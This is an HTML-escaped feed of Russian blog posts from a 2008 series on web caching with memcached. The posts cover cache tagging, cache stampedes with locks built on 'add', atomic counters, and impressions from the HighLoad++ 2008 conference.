&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/tag.png" alt="Тэгирование" title="Тэг" width="177" height="115" class="alignnone size-full wp-image-178"&gt;&lt;/p&gt;
&lt;p&gt;Последний, шестой пост, будет посвящен различным техническим вопросам работы с memcached: анализу статистике, отладке и т.п.&lt;/p&gt;
&lt;!--more--&gt;

&lt;h3&gt;Сброс группы кэшей&lt;/h3&gt;
&lt;p&gt;Если мы закэшировали какие-то данные от backend’а, например, выборку из БД, рано или поздно исходные данные изменяются, и кэш перестает быть валидным. Причем очень желательно, чтобы кэш сбрасывался сразу же за изменением, иначе пользователь после редактирования может увидеть старую версию объекта, что его, несомненно, смутит. Есть простой вариант ситуации: мы меняем информацию об объекте с ID 35, и сбрасываем кэш выборки этого объекта по параметру ID=35. На практике же чаще всего один и тот же объект явно или неявно входит в большое количество выборок, а значит и кэшей.&lt;/p&gt;
&lt;p&gt;Рассмотрим такой пример: мы написали блогохостинг, в нем большое количество блогов. Когда один из авторов создает новый пост, меняется большое количество выборок: посты на главной странице и всех вторых страницах списка постов (т.к. все посты «сдвинулись» на один), изменилось количество записей в календаре постов, изменилась RSS-ка, и т.п. Конечно, мы могли бы поставить кэшам этих выборок небольшое время жизни, тогда через какое-то время они сбросятся и будут отображать правильную информацию, но слишком короткое время кэширования (5 секунд, например), будет давать низкое соотношение хитов в кэш, увеличивая нагрузку на БД, а более длительное будет создавать у пользователя ощущение, что информация после создания поста не обновилась, а, значит, пост не добавился. В то же время можно заметить, что в рамках блогохостинга если даже мы сбросим все кэши, связанные с данным блогом, это совсем небольшой процент от общей массы кэширования (т.к. блогов очень много). Остался вопрос: как найти и проидентифицировать все кэши данного блога? Какие-то из них мы можем легко построить, для некоторых это становится уже неудобно: например, количество кэшей постраничного списка постов зависит от количества страниц, которое еще необходимо вычислить. Что же делать?&lt;/p&gt;
&lt;p&gt;Одно из возможных решений – тэгирование кэшей. Описанный ниже способ тэгирования по своей сути совпадает с описанным Дмитрием Котеровым в его &lt;a href="http://dklab.ru/chicken/nablas/47.html"&gt;наблах&lt;/a&gt;, но был нами разработан независимо. Существуют и другие варианты тэгирования, например, патч &lt;a href="http://code.google.com/p/memcached-tag/"&gt;memcached-tag&lt;/a&gt; на memcached. &lt;/p&gt;
&lt;h4&gt;Тэг кэша&lt;/h4&gt;
&lt;p&gt;Итак, мы вводим новое понятие – тэг кэша. Один кэш может нести с собой список тэгов, с которыми он связан. Сам по себе тэг – это некоторое имя и связанная с ним версия (число). Версия тэга может только монотонно увеличиваться. Группой кэшей мы будем называть кэши, имеющие один общий тэг. Для того чтобы сбросить группу кэшей, достаточно увеличить версию соответствующего тэга.&lt;/p&gt;
&lt;p&gt;На программном уровне мы знаем, что данная выборка должна быть закэширована и что её кэш будет связан с тэгами &lt;code&gt;tag1&lt;/code&gt; и &lt;code&gt;tag2&lt;/code&gt; (данный факт определяется логикой работы нашего приложения). При создании кэша мы записываем в него кроме данных закэшированной выборки еще текущие (на момент создания кэша) версии тэгов &lt;code&gt;tag1&lt;/code&gt; и &lt;code&gt;tag2&lt;/code&gt;. При получении кэша мы считаем его валидным если не истекло время его жизни, и при этом текущии версии тэгов &lt;code&gt;tag1&lt;/code&gt; и &lt;code&gt;tag2&lt;/code&gt; равны версиям, записанным в кэше. Таким образом, если мы изменяем (увеличиваем) версию тэга &lt;code&gt;tag1&lt;/code&gt;, все кэши, связанные с этим тэгом, которые были построены ранее, перестанут быть валидными (т.к. в них записана меньшая версия тэга &lt;code&gt;tag1&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Рассмотрим пример с нашей выборкой, пусть было так:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="err"&gt;Версии&lt;/span&gt; &lt;span class="err"&gt;тэгов&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="nt"&gt;tag1&lt;/span&gt; &lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;25&lt;/span&gt;
  &lt;span class="nt"&gt;tag2&lt;/span&gt; &lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nt"&gt;gt&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt; &lt;span class="nt"&gt;63&lt;/span&gt;
&lt;span class="err"&gt;Кэш&lt;/span&gt; &lt;span class="err"&gt;выборки&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="cp"&gt;[&lt;/span&gt;
    &lt;span class="err"&gt;срок&lt;/span&gt; &lt;span class="err"&gt;годности&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2008&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;07&lt;/span&gt; &lt;span class="mi"&gt;21&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;00&lt;/span&gt;
    &lt;span class="err"&gt;данные&lt;/span&gt; &lt;span class="err"&gt;кэша&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="err"&gt;[&lt;/span&gt;
                     &lt;span class="err"&gt;…&lt;/span&gt;
                  &lt;span class="cp"&gt;]&lt;/span&gt;
    &lt;span class="err"&gt;тэги&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="cp"&gt;[&lt;/span&gt;
         &lt;span class="nx"&gt;tag1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;
         &lt;span class="nx"&gt;tag2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;63&lt;/span&gt;
          &lt;span class="cp"&gt;]&lt;/span&gt;
   &lt;span class="o"&gt;]&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Затем произошло некоторое событие, и мы решили сбросить все кэши, ассоциированные с тэгом &lt;code&gt;tag2&lt;/code&gt;, т.е. мы увеличили версию тэга: &lt;code&gt;tag2++&lt;/code&gt;. Изменились версии тэгов:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="err"&gt;Версии&lt;/span&gt; &lt;span class="err"&gt;тэгов&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
  &lt;span class="n"&gt;tag1&lt;/span&gt; &lt;span class="o"&gt;-&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;
  &lt;span class="n"&gt;tag2&lt;/span&gt; &lt;span class="o"&gt;-&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="mi"&gt;64&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Теперь наш кэш перестал быть валидным, не смотря на то, что его «срок годности» еще не истёк: версия тэга tag2, сохраненная в нем (63) не совпадает с текущей версией (64).&lt;/p&gt;
&lt;h4&gt;Версии тэгов&lt;/h4&gt;
&lt;p&gt;Тэги (то есть их версии) имеет смысл хранить там же, где мы и храним наши кэши, то есть в memcached. Для каждого тэга мы создадим ключ с именем, совпадающим с именем тэга, его значением будет версия тэга. Осталось решить, что использовать в качестве версии тэга? Можно было бы использовать просто числа, инкрементируя их при изменении версии тэга, но это может привести к некорректному поведению при условии возможной потери ключей. Пусть версия тэга равнялась единице, мы закэшировали выборку с этим тэгом, записали в кэш значение тэга – единицу. Затем ключ с версией тэга был удален из memcached, а в следующий момент времени мы захотели сбросить выборки, связанные с тэгом, то есть необходимо увеличить версию тэга. Так как мы потеряли значение версии тэга, мы снова поставим единицу, и теперь наш кэш будет считаться валидным, хотя он сбросился (не важно, какое значение выбирать при увеличении версии тэга, если она была потеряна – всегда возможна ситуация, что это же значение использовалось и ранее). &lt;/p&gt;
&lt;p&gt;В качестве версии удобнее использовать текущее время (с достаточной точностью, например, до миллисекунд). Тогда увеличение версии тэга будет всегда давать новую, бóльшую версию, даже в случае потери предыдущей версии. Версия тэга формируется на frontend’ах, их системные часы должны быть синхронизованы (без этого не будет работать и другая функциональность, например, корректное вычисление срока годности кэшей с коротким временем жизни), так что проблем с таким выбором способа вычисления версии не должно быть.&lt;/p&gt;
&lt;p&gt;Использование текущего времени в качестве версии тэга даёт еще одно преимущество в ситуации, когда БД проекта устроена по схеме мастер-слейв репликации. При изменении исходного объекта в БД мы изменяем версию тэга, связанного с ним (записываем туда текущее время, то есть время изменения). В другом процессе мы обнаруживаем, что кэш устарел, то есть его надо перестроить, перестроение – это читающий запрос (&lt;code&gt;SELECT&lt;/code&gt;), который необходимо отправить на слейв-сервер БД, но в силу задержек репликации слейв-сервер еще мог не получить актуальную версию объекта в БД, в результате мы кэш сбросили, но при его перестроении снова закэшировали старый вариант объекта, что неприемлемо. Можно использовать версию тэга при решении вопроса, на какой сервер БД отправить запрос: если разница между текущим временем и версией какого-либо тэга кэша меньше некоторого интервала, определяемого максимальной задержкой репликации, мы отправляем запрос на мастер-сервер БД вместо слейва.&lt;/p&gt;
&lt;p&gt;Использование такой схемы тэгирования увеличивает количество запросов к memcached, т.к. &lt;/p&gt;
&lt;p&gt;нам необходимо для каждого кэша получать версии его тэгов. Накладные расходы можно сократить за счет использование multi-get запросов memcached, а также за счет локального кэширования ключей memcached в пределах одного процесса (если один и тот же тэг привязан к нескольким кэшам).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Продолжение следует...&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;</description><guid>http://www.smira.ru/en/posts/20081029web-caching-memcached-5.html</guid><pubDate>Wed, 29 Oct 2008 06:59:04 GMT</pubDate></item><item><title>Проблема одновременного перестроения кэшей</title><link>http://www.smira.ru/en/posts/20081028web-caching-memcached-4.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Серия постов про "Web, кэширование и memcached" продолжается. Начало здесь: &lt;a href="http://www.smira.ru/2008/10/16/web-caching-memcached-1/"&gt;1&lt;/a&gt;, &lt;a href="http://www.smira.ru/2008/10/21/web-caching-memcached-2/"&gt;2&lt;/a&gt; и &lt;a href="http://www.smira.ru/2008/10/24/web-caching-memcached-3/"&gt;3&lt;/a&gt;.
В этих постах мы поговорили о memcached, его архитектуре, возможном применении, выборе ключа кэширования, кластеризации, атомарных операциях и реализации счетчиков в &lt;a href="http://danga.com/memcached/"&gt;memcached&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Сегодня мы рассмотрим проблему одновременного перестроения кэша, которая возникает при большом количестве одновременных обращений к кэшу, который был только что сброшен или потерян, что может привести к перегрузке БД.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/overload-300x231.jpg" alt="Перегрузка backend" title="Перегрузка backend" width="300" height="231" class="alignnone size-medium wp-image-143"&gt;&lt;/p&gt;
&lt;p&gt;Следующий пост будет посвящен тэгированию кэшей.&lt;/p&gt;
&lt;!--more--&gt;

&lt;h3&gt;Одновременное перестроение кэшей&lt;/h3&gt;
&lt;p&gt;Данная проблема характерна в первую очередь для высоконагруженных проектов. Рассмотрим следующую ситуацию: у нас есть выборка из БД, которая используется на многих страницах или особо популярных страницах (например, на главной странице). Эта выборка закэширована с некоторым «сроком годности», т.е. кэш будет сброшен по прошествии некоторого интервала времени. При этом сама выборка является относительно сложной, её вычисление заметно нагружает backend (БД). В какой-то момент времени ключ в memcached будет удален, т.к. истечет срок его жизни (срок жизни был установлен у кэша), в этот момент несколько frontend’ов (несколько, т.к. выборка часто используется) обратятся в memcached по этому ключу, обнаружат его отсутствие и попытаются построить кэш заново, осуществив выборку из БД. То есть в БД одновременно попадет несколько одинаковых запросов, каждый из которых заметно нагружает базу данных, при превышении некоторого порога запрос не будет выполнен за разумное время, еще больше frontend’ов обратятся к кэшу, обнаружат его отсутствие и отправят еще больше запросов в базу данных, с которыми база данных тем более не справится. В результате сервер БД получил критическую нагрузку, и «прилёг». Что делать, как избежать такой ситуации?&lt;/p&gt;
&lt;p&gt;Проблема с перестроением кэшей становится проблемой только тогда, когда имеют место два фактора: много обращений к кэшу в единицу времени и сложный запрос. Причем один фактор может компенсировать другой: на относительно непопулярной, но очень сложной и долгой выборке (которых вообще-то не должно быть) мы можем получить аналогичную ситуацию. Итак, что же делать?&lt;/p&gt;
&lt;p&gt;Можно предложить следующую схему: мы больше не ограничиваем время жизни ключа с кэшом в memcached – он будет там находиться до тех пор, пока не будет вытеснен другими ключами. Но вместе с данными кэша мы записываем и реальное время его жизни, например:&lt;/p&gt;
&lt;pre class="code literal-block"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="err"&gt;годен&lt;/span&gt; &lt;span class="err"&gt;до&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2008&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mo"&gt;03&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;53&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="err"&gt;данные&lt;/span&gt; &lt;span class="err"&gt;кэша&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="p"&gt;...&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;


&lt;p&gt;Теперь при получении ключа из memcached мы можем проверить, истёк ли срок жизни кэша с помощью поля «годен до». Если срок жизни истёк, кэш надо перестроить, но мы будем делать это с блокировкой (о блокировках речь пойдет в следующем разделе), если не удастся заблокироваться, мы можем либо подождать еще (раз блокировка уже есть, значит кэш кто-то перестраивает), либо вернуть старое значение кэша. Если заблокироваться удастся, мы строим кэш самостоятельно, при этом другие frontend’ы не будут перестраивать этот же кэш, так как увидят нашу блокировку. Основное преимущество хранения в memcached без указания срока годности – именно возможность получить старое значение кэша в случае, если кэш уже перестраивается кем-то. Что именно делать – ждать, пока кэш построит кто-то другой, и получать новое значение из memcached, или возвращать старое значение, – зависит от задачи, насколько приемлемо старое значение и сколько можно провести времени в состоянии ожидания. Чаще всего можно позволить себе 2-3 секундное ожидание с проверкой удаления блокировки и, если кэш так и не построился (что маловероятно, получается что выборка происходит больше чем за 2-3 секунды), вернуть старое значение, освобождая frontend для других задач.&lt;/p&gt;
&lt;h4&gt;Пример такого алгоритма&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Получаем доступ к кэшу cache, его срок жизни истёк.&lt;/li&gt;
&lt;li&gt;Пытаемся заблокироваться по ключу user cache_lock.&lt;ul&gt;
&lt;li&gt;Не удалось получить блокировку:&lt;ul&gt;
&lt;li&gt;ждём снятия блокировки;&lt;/li&gt;
&lt;li&gt;не дождались: возвращаем старые данные кэша;&lt;/li&gt;
&lt;li&gt;дождались: выбираем значения ключа заново, возвращаем новые данные (построенный кэш другим процессом).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Удалось получить блокировку:&lt;ul&gt;
&lt;li&gt;строим кэш самостоятельно.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Такая схема позволяет исключить или свести к минимуму ситуации «заваливания» backend’а одинаковыми «тяжелыми» запросами, когда реально запрос достаточно выполнить лишь один раз. Остается последний вопрос, как обеспечить корректную блокировку? Очевидно, что так как проблема одновременного перестроения возникает на разных frontend’ах, то блокировка должна быть в общедоступном для них всех месте, то есть в memcached.&lt;/p&gt;
&lt;h4&gt;Блокировки в memcached&lt;/h4&gt;
&lt;p&gt;Рассмотрим два варианта реализации блокировки (мьютекса, двоичного семафора) с помощью memcached. Первый некорректный, он не может обеспечить корректного исключения параллельных процессов, но очевидный. Второй совершенно корректный, но не настолько очевиден.&lt;/p&gt;
&lt;p&gt;Пусть мы хотим заблокироваться по ключу &lt;code&gt;‘lock’&lt;/code&gt;: пытаемся получить значения ключа с помощью операции &lt;code&gt;get&lt;/code&gt;. Если ключ не найден, значит блокировки нет, и мы с помощью операции &lt;code&gt;set&lt;/code&gt; устанавливаем значение этого ключа, например, в единицу, а время жизни устанавливаем в небольшой интервал времени, который превышает максимальное время жизни блокировки, например, в 10 секунд. Теперь, если frontend завершится аварийно и не снимет блокировку, она автоматически уничтожится через 10 секунд. Итак, с помощью &lt;code&gt;set&lt;/code&gt; мы блокировку установили, выполнили все необходимые действия, после этого снимаем блокировку просто удаляя соответствующий ключ командой &lt;code&gt;del&lt;/code&gt;. Если на первой операции &lt;code&gt;get&lt;/code&gt; мы получили значение ключа, это означает, что блокировка уже установлена другим процессом, наша операция блокировки неуспешна.&lt;/p&gt;
&lt;p&gt;Описанный способ обладает недостатком: наличием состояния гонки (race condition). Два процесса могут одновременно сделать &lt;code&gt;get&lt;/code&gt;, оба могут получить ответ, что «ключа нет», оба сделают &lt;code&gt;set&lt;/code&gt;, и оба будут считать, что установили блокировку успешно. В ситуациях, как одновременное перестроение кэшей, этого может быть допустимо, т.к. здесь цель не исключить все другие процессы, а резко уменьшить количество одновременных запросов к БД, что может обеспечить и этот простой, некорректный вариант.&lt;/p&gt;
&lt;p&gt;Второй вариант корректен, и даже проще первого. Для захвата блокировки достаточно выполнить одну команду: &lt;code&gt;add&lt;/code&gt;, указав имя ключа и время жизни (такое же маленькое, как и в первом варианте). Команда &lt;code&gt;add&lt;/code&gt; будет успешной только в том случае, если ключа в memcached еще нет, то есть наш процесс и есть тот единственный процесс, которому удалось захватить блокировку. Тогда нам надо выполнить необходимые действия и освободить блокировку командой &lt;code&gt;del&lt;/code&gt;. Если &lt;code&gt;add&lt;/code&gt; вернет ошибку «такой ключ уже существует», значит, блокировка была захвачена раньше каким-то другим процессом.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;</description><guid>http://www.smira.ru/en/posts/20081028web-caching-memcached-4.html</guid><pubDate>Tue, 28 Oct 2008 06:25:11 GMT</pubDate></item><item><title>Атомарность операций и счетчики в memcached</title><link>http://www.smira.ru/en/posts/20081024web-caching-memcached-3.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Серия постов про "Web, кэширование и memcached" продолжается. В &lt;a href="http://www.smira.ru/2008/10/16/web-caching-memcached-1/"&gt;первом&lt;/a&gt; и &lt;a href="http://www.smira.ru/2008/10/21/web-caching-memcached-2/"&gt;втором&lt;/a&gt; постах мы поговорили о memcached, его архитектуре, возможном применении, выборе ключа кэширования и кластеризации &lt;a href="http://danga.com/memcached/"&gt;memcached&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Сегодня речь пойдет о:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;атомарных операциях в memcached;&lt;/li&gt;
&lt;li&gt;реализации счетчиков просмотров и онлайнеров.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/atom-150x150.png" alt="Атом" title="atom" width="150" height="150" class="alignnone size-thumbnail wp-image-145"&gt;&lt;/p&gt;
&lt;p&gt;Следующий пост будет посвящен проблеме одновременного перестроения кэшей.&lt;/p&gt;
&lt;!--more--&gt;

&lt;h3&gt;Атомарность операций в memcached&lt;/h3&gt;
&lt;p&gt;Как таковые, все одиночные запросы к memcached атомарны (в силу его однопоточности и корректных внутренних блокировок в многопоточном случае). Это означает, что если мы выполняем запрос get, мы получим значения ключа таким, как кто-то его записал в кэш, но точно не смесь двух записей. Однако каждая операция независима, и мы не можем гарантировать, например, корректность такой процедуры в ситуации конкурентного доступа из нескольких параллельных процессов:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Получить значение ключа «x» (&lt;code&gt;$x = get x&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Увеличение значения переменной на единицу (&lt;code&gt;$x = $x + 1&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Запись нового значения переменной в memcached (&lt;code&gt;set x = $x&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Если данный код выполняют несколько frontend’ов одновременно, может получиться так, что значение ключа x увеличится не n раз, как мы задумывали, а на меньшее значение (классическое &lt;a href="http://ru.wikipedia.org/wiki/%D0%A1%D0%BE%D1%81%D1%82%D0%BE%D1%8F%D0%BD%D0%B8%D0%B5_%D0%B3%D0%BE%D0%BD%D0%BA%D0%B8"&gt;состояние гонки&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Race_condition"&gt;race condition&lt;/a&gt;). Конечно, такой подход неприемлем для нас. Классический ответ на сложившуюся ситуацию: применение синхронизационных примитивов (семафоров, мутексов и т.п.),  однако в memcached они отсутствуют. Другим вариантом решения задачи является реализация более сложных операций, которые заменяют неатомарную последовательность get/set.&lt;/p&gt;
&lt;p&gt;В memcached для решения этой проблемы есть пара операций: &lt;code&gt;incr&lt;/code&gt;/&lt;code&gt;decr&lt;/code&gt; (инкремент и декремент). Они обеспечивают атомарное увеличение (или, соответственно, уменьшение) целочисленного значения существующего в memcached ключа. Атомарными являются также дополнительные операции: &lt;code&gt;append&lt;/code&gt;/&lt;code&gt;prepend&lt;/code&gt;, которые позволяют добавить к значению ключа данные в начало или в конец, также в каком-то плане атомарными можно считать операции &lt;code&gt;add&lt;/code&gt; и &lt;code&gt;replace&lt;/code&gt;, которые позволяют задать значение ключа, только если он ранее не существовал, или, наоборот, заменить значение уже существующего ключа. Об еще одном варианте атомарных операций речь пойдет в разделе про реализацию блокировок средствами memcached.&lt;/p&gt;
&lt;p&gt;Необходимо дополнительно отметить, что любая блокировка в memcached должна быть мелкозернистой (fine-grained), то есть должна затрагивать как можно меньшее число объектов, так как основная задача сервера в любом случае – обеспечивать эффективный доступ к кэшу как можно большего числа параллельных процессов.&lt;/p&gt;
&lt;h3&gt;Счетчики в memcached&lt;/h3&gt;
&lt;p&gt;Memcached может использоваться не только для хранения кэшей выборок из backend’ов, не только для хранения сессий пользователей (о чем было упомянуто в начале статьи), но и для задачи, которая без memcached решается достаточно тяжело, – реализация счетчиков, работающих в реальном времени. Т.е перед нами стоит задача показывать текущее значение счетчика в данный момент времени, если откинуть требование «реального времени», это можно реализовать через логирование и последующий анализ накопленных логов.&lt;/p&gt;
&lt;p&gt;Рассмотрим несколько примеров таких счетчиков, как их можно реализовать, какие возможны проблемы.&lt;/p&gt;
&lt;h4&gt;Счетчик просмотров&lt;/h4&gt;
&lt;p&gt;Пусть в нашем проекте есть некоторые объекты (например, фото, видео, статьи и т.п.), для которых мы должны в реальном времени показывать число просмотров. Счетчик должен увеличиваться с каждым просмотром. Самый простой вариант – при каждом просмотре обновлять поле в БД, не будет работать, т.к. просмотров много и БД не выдержит такую нагрузку. Мы можем реализовать точный и аккуратный сбор статистики просмотров, их аккумулирование, и периодический анализ, который заканчивается обновлением счетчика в базе данных (например, раз в час). Однако остается задача показа текущего количества просмотров.&lt;/p&gt;
&lt;p&gt;Рассмотрим следующее возможное решение. Frontend в момент просмотра объекта формирует имя ключа счетчика в memcached, и пытается выполнить операцию &lt;code&gt;incr&lt;/code&gt; (инкремент) над этим ключом. Если выполнение было успешным, это означает, что соответствующий ключ находится в memcached, мы просмотр засчитали, также мы получили новое значение счетчика (как результат операции &lt;code&gt;incr&lt;/code&gt;), которое мы можем показать пользователю. Если же операция &lt;code&gt;incr&lt;/code&gt; вернула ошибку, то ключ счетчика в данный момент отсутствует в memcached, мы можем выбрать в качестве начального значения число просмотров из базы данных, увеличить его на единицу, и выполнить операцию set, устанавливая новое значение счетчика. При последующих просмотрах ключ уже будет находиться в memcached, и мы будем просто увеличивать его значение с помощью incr.&lt;/p&gt;
&lt;p&gt;Необходимо отметить, что приведенная схема не является вполне корректной: в ней присутствует состояние гонки (race condition). Если два frontend одновременно обращаются к счетчику, одновременно обнаруживают его отсутствие, и сделают две операции set, мы потеряем один просмотр. Это можно считать не очень критичным, так как процесс аккумулирования статистики восстановит правильное значение. В случае необходимости можно воспользоваться блокировками в memcached, речь о которых пойдет ниже. Или же реализовать инициализацию счетчика через операцию &lt;code&gt;add&lt;/code&gt;, обрабатывая её результат.&lt;/p&gt;
&lt;h3&gt;Счетчик онлайнеров&lt;/h3&gt;
&lt;p&gt;Существует еще один вид счетчиков, который без memcached или подобного ему решения вряд ли может быть реализован: это счетчик «онлайнеров». Такие счетчики мы видим на большом количестве сайтов, однако в первую очередь необходимо определить, что же именно мы имеем в виду под «онлайнером». Пусть мы хотим рассчитать, сколько уникальных сессий (пользователей) обратилось к нашему сайту за последние 5 минут. Уникальность обращения пользователя с данной сессией в течение 5 минут можно отследить, сохраняя в сессии время последнего засчитанного обращения, если прошло более 5 минут – значит это новое (уникальное) обращение.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://www.smira.ru/wp-content/uploads/2008/10/counters.png" alt="Счетик онлайнеров" title="counters" width="500" height="222" class="alignnone size-full wp-image-148"&gt;&lt;/p&gt;
&lt;p&gt;Итак, выделим в memcached шесть ключей с именами, например, &lt;code&gt;c_0&lt;/code&gt;, &lt;code&gt;c_1&lt;/code&gt;, &lt;code&gt;c_2&lt;/code&gt;, …, &lt;code&gt;c_5&lt;/code&gt;. Текущим изменяемым ключом мы будем считать счетчик с номером, равным остатку от деления текущей минуты на 6 (на рисунке это ключ &lt;code&gt;c_4&lt;/code&gt;). Именно его мы будем увеличивать с помощью операции incr для обращения каждой уникальной в течение 5 минут сессии. Если &lt;code&gt;incr&lt;/code&gt; вернет ошибку (счетчика еще нет), установим его значение в 1 с помощью &lt;code&gt;set&lt;/code&gt;, обязательно указав время жизни 6 минут. Значением счетчика онлайнеров будем считать сумму всех ключей, кроме текущего (на рисунке это ключи &lt;code&gt;c_0&lt;/code&gt;, &lt;code&gt;c_1&lt;/code&gt;, &lt;code&gt;c_2&lt;/code&gt;, &lt;code&gt;c_3&lt;/code&gt; и &lt;code&gt;c_5&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Когда наступит следующая минута, текущим изменяемым ключом станет ключ &lt;code&gt;c_5&lt;/code&gt;, при этом его предыдущее значение исчезнет (т.к. он был создан 6 минут назад с временем жизни те же 6 минут). Значением счетчика станет сумма ключей c &lt;code&gt;с_0&lt;/code&gt; по &lt;code&gt;c_4&lt;/code&gt;, т.е. только что рассчитанное значение ключа &lt;code&gt;с_4&lt;/code&gt; уже начнет учитываться в отображаемом значении счетчика.&lt;/p&gt;
&lt;p&gt;Такой счетчик может быть построен и на меньшем числе ключей. Минимально возможными для данной схемы являются два ключа: один обновляется, значение другого показывается, затем по прошествии 5 минут счетчики меняются местами, при этом тот, который только что обновлялся, сбрасывается. В приведенной схеме с многими ключами обеспечивается некоторое «сглаживание», которое обеспечивает более плавное изменение счетчика в случае резкого притока или оттока посетителей.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Продолжение следует...&lt;/em&gt;&lt;/p&gt;</description><guid>http://www.smira.ru/en/posts/20081024web-caching-memcached-3.html</guid><pubDate>Fri, 24 Oct 2008 04:00:53 GMT</pubDate></item><item><title>Web, кэширование и memcached (выступление на HighLoad++ 2008)</title><link>http://www.smira.ru/en/posts/20081008highload-plus-plus-2008.html</link><dc:creator>Andrey</dc:creator><description>&lt;p&gt;&lt;/p&gt;&lt;p&gt;Итак, HighLoad++ состоялся. Если говорить кратко, конференция мне понравилась. Ниже мои личные впечатления о конференции, краткие тезисы доклада и презентация. &lt;/p&gt;
&lt;p&gt;Текст доклада дописываю, есть мечта к концу недели это доделать (сейчас готова ровно половина). Тогда же текст опубликую, возможно в серии отдельных постов и в виде одной большой PDF-ки тут.&lt;/p&gt;
&lt;h3&gt;Мои впечатления о конференции&lt;/h3&gt;
&lt;p&gt;Итак, мне понравилось. Интересные доклады - много интересных докладов. Жалко, что не было&lt;/p&gt;
&lt;p&gt;Яндекса - они делают хорошие доклады. В первый день была проблема поесть и попить, но ко второму дню ситуация как-то улучшилась. Народу чуть-чуть больше, чем хотелось бы (иногда в аудиторию к докладчику не пролезть через тела тех, которые устроили "пробку" на входе в зал). Но интересные или очень интересные доклады, много обсуждений, новых идей. Встретил старых знакомых, это всегда приятно :) &lt;/p&gt;
&lt;p&gt;Огранизационно всё было четко, понравился дизайн мелочей - бейджиков, шаблона презентаций и прочего - просто и со вкусом. В общем и целом - так держать, Олег ;)&lt;/p&gt;
&lt;!--more--&gt;

&lt;h3&gt;Краткие тезисы&lt;/h3&gt;
&lt;p&gt;Требуемое время: 50 минут &lt;/p&gt;
&lt;p&gt;Докладчик: Андрей Смирнов&lt;/p&gt;
&lt;p&gt;Цель доклада – рассказать о проблемах кеширования в распределенных высоконагруженных проектах и о возможных путях решения этой проблемы. Предполагаемый уровень подготовки аудитории – начинающий++.&lt;/p&gt;
&lt;p&gt;Современный высоконагруженный проект может использовать десятки гигабайт распределенной памяти, используемой под кеш, организованной в виде кластера memcached-серверов. Зачем нужен memcached? Как работать с таким хранилищем, как распределить ключи по элементам кластера? Как назвать ключ, соответствующий кешу? Как обеспечить атомарность операций, “блокировки”?&lt;/p&gt;
